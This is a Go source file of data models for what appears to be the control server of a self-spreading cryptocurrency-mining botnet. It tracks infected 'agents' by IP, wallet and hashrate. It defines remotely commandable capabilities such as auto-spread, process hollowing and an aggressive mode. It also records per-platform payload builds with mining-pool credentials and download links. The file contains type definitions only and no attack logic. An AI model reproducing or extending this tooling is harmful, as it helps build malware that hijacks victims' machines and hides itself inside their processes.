package models

import "time"

type Agent struct {
	ID        string    `json:"id"`
	Name      string    `json:"name"`
	Wallet    string    `json:"wallet"`
	IP        string    `json:"ip"`
	Version   string    `json:"version"`
	Status    string    `json:"status"` // online, offline, error
	CPUCores  int       `json:"cpu_cores"`
	MemoryGB  int       `json:"memory_gb"`
	LastSeen  time.Time `json:"last_seen"`
	CreatedAt time.Time `json:"created_at"`

	// Runtime stats (updated via heartbeat)
	Hashrate15s    float64 `json:"hashrate_15s"`
	Hashrate1m     float64 `json:"hashrate_1m"`
	Hashrate15m    float64 `json:"hashrate_15m"`
	SharesTotal    int     `json:"shares_total"`
	SharesGood     int     `json:"shares_good"`
	SharesBad      int     `json:"shares_bad"`
	CPUUsagePct    float64 `json:"cpu_usage_pct"`
	MemoryUsagePct float64 `json:"memory_usage_pct"`
	UptimeSeconds  int     `json:"uptime_seconds"`

	Notes string   `json:"notes"`
	Tags  []string `json:"tags"`

	Platform  string `json:"platform,omitempty"`
	Arch      string `json:"arch,omitempty"`
	OSVersion string `json:"os_version,omitempty"`

	Capabilities *AgentCapabilities `json:"capabilities,omitempty"`
}

// AgentCapabilities reports forge-time features available for remote command.
type AgentCapabilities struct {
	HolePunch        bool `json:"hole_punch"`
	RemoteAggressive bool `json:"remote_aggressive"`
	MeshP2P          bool `json:"mesh_p2p"`
	AutoSpread       bool `json:"auto_spread"`
	ProcessHollowing bool `json:"process_hollowing"`
	AIEnabled        bool `json:"ai_enabled"`
}

type Share struct {
	ID         int64     `json:"id"`
	AgentID    string    `json:"agent_id"`
	JobID      string    `json:"job_id"`
	Difficulty int64     `json:"difficulty"`
	Accepted   bool      `json:"accepted"`
	Hash       string    `json:"hash"`
	Nonce      string    `json:"nonce"`
	Error      string    `json:"error,omitempty"`
	Timestamp  time.Time `json:"timestamp"`
}

type HashrateSample struct {
	ID        int64     `json:"id"`
	AgentID   string    `json:"agent_id"`
	Hashrate  float64   `json:"hashrate"`
	Timestamp time.Time `json:"timestamp"`
}

type Job struct {
	ID            string    `json:"id"`
	Height        int64     `json:"height"`
	Difficulty    int64     `json:"difficulty"`
	BlockTemplate string    `json:"block_template"`
	SeedHash      string    `json:"seed_hash"`
	Target        string    `json:"target"`
	CreatedAt     time.Time `json:"created_at"`
}

type BuildRecord struct {
	ID          string    `json:"id"`
	WorkerName  string    `json:"worker_name"`
	ServerURL   string    `json:"server_url"`
	Wallet      string    `json:"wallet"`
	Threads     int       `json:"threads"`
	FileSize    int64     `json:"file_size"`
	BundleSize  int64     `json:"bundle_size"`
	FilePath    string    `json:"file_path"`
	FileName    string    `json:"file_name"`    // base filename for display
	DownloadURL string    `json:"download_url"` // relative URL; client prepends server origin
	Platform    string    `json:"platform"`     // "windows", "linux", "darwin", "universal"
	CreatedAt   time.Time `json:"created_at"`
	// Pool settings
	PoolHost string `json:"pool_host"`
	PoolPort int    `json:"pool_port"`
	PoolTLS  bool   `json:"pool_tls"`
	PoolPass string `json:"pool_pass"`
}
